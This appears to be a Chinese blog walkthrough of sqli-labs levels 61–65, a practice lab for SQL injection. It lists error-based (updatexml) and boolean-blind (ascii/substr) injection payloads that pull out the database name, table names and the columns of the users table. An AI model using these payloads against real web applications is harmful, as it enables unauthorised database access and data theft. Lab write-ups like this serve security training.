当前位置: 首页 > article >正文

sql-labs61-65关通关攻略

第61关

一:查看数据库

?id=1')) and updatexml(1,concat(1,(select database())),1)--+

二:查看表名

?id=1')) and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

三:查看users表中列名

?id=1')) and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

第62关

一.判断数据库的第一个字符

?id=1') and ascii(substr(database(),1,1))>98--+

?id=1') and ascii(substr(database(),1,1))>99--+

说明第一位字符ascii码等于99

.....

最终得出challengs

二.查security数据库中第一张表的第一位字符

?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+

?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+ 

 

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

........

最终得出第一张表的表名为emails

三.查看users表中第一个字段的第一位字符

?id=1') and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+

?id=1') and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+ 

 

说明users表的第一个字段的第一位字符ascii码为105 'i'

............

最终得出users表的第一个字段为id

第63关

一.判断数据库的第一个字符

?id=1' and ascii(substr(database(),1,1))>98--+

?id=1' and ascii(substr(database(),1,1))>99--+

大于98不大于99 说明第一位字符ascii码等于99 

.....

最终得出challengs

二.查security数据库中第一张表的第一位字符

 ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+ 

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

三.查看users表中第一个字段的第一位字符

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+

说明users表的第一个字段的第一位字符ascii码为105 'i'

............

最终得出users表的第一个字段为id

第64关

一.判断数据库的第一个字符

?id=1)) and ascii(substr(database(),1,1))>98--+

?id=1)) and ascii(substr(database(),1,1))>99--+ 

大于98不大于99 说明第一位字符ascii码等于99 

.....

最终得出challengs

二.查security数据库中第一张表的第一位字符

?id=1)) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+

?id=1)) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

三.查看users表中第一个字段的第一位字符

?id=1)) and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+

?id=1)) and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+

大于104不大于105说明users表的第一个字段的第一位字符ascii码为105 'i'

............最终得出users表的第一个字段为id

第65关

一.判断数据库的第一个字符

?id=1") and ascii(substr(database(),1,1))>98--+

?id=1") and ascii(substr(database(),1,1))>99--+

大于98不大于99 说明第一位字符ascii码等于99

.....

最终得出challengs

二.查security数据库中第一张表的第一位字符

?id=1") and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+

?id=1") and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

...........

最终得出第一张表的表名为emails

三.查看users表中第一个字段的第一位字符

?id=1") and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+

?id=1") and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+

说明users表的第一个字段的第一位字符ascii码为105 'i'

.......

最终得出users表的第一个字段为id


http://www.kler.cn/news/294396.html

相关文章:

  • 数据仓库技术选型方案文档
  • vue----一维数组根据同一id改成二维数组
  • WPF入门到跪下 第十一章 Prism(四)View与ViewModel的自动关联
  • 大数据集群(Hadoop生态)安装部署
  • 一点思考:在 Python 数据科学和机器学习研究背景下,代码审查(Code Review, CR)的必要性
  • python如何读取excel文件内的数据
  • MySQL数据库时间类型
  • DELTA_IA-ASD_ASDA-A2简明教程
  • 【无标题】使用Go (或者 Python) 执行外部命令,直接模式和 Shell模式的区别
  • OpenHarmony鸿蒙开发( Beta5.0)智能手表应用开发实践
  • 【C-实践】文件服务器(3.0)
  • 交友系统“陌陌”全方位解析
  • 数据仓库理论知识
  • 【Python】一文详细向您介绍 bisect_left 函数
  • Java内存马系列 | SpringMVC内存马 - 上 | SpringMVC代码分析
  • netty编程之基于websocket实现聊天功能
  • 【SRC】某次众测绕过限制注册用户+敏感信息泄露漏洞
  • 鸿蒙双向认证
  • 贷款利率高低跟什么有关?仅凭身份证就能贷到款?额度是多少?
  • SCSS darken函数
  • Socket编程---TCP篇
  • Kotlin高阶函数与Lambda表达式及内联函数的介绍
  • 深度学习速通系列:推荐五个提高机器学习模型鲁棒性和稳定性的开源工具或框架
  • 打靶记录16——Momentum
  • 周末总结(2024/09/07)
  • springboot+vue+mybatis计算机毕业设计智慧篮球馆预约+PPT+论文+讲解+售后
  • html 单页面路由模式hash和history
  • Shell脚本基本语法(Linux篇)
  • MapSet之二叉搜索树
  • 1-7 掩膜的运用 opencv树莓派4B 入门系列笔记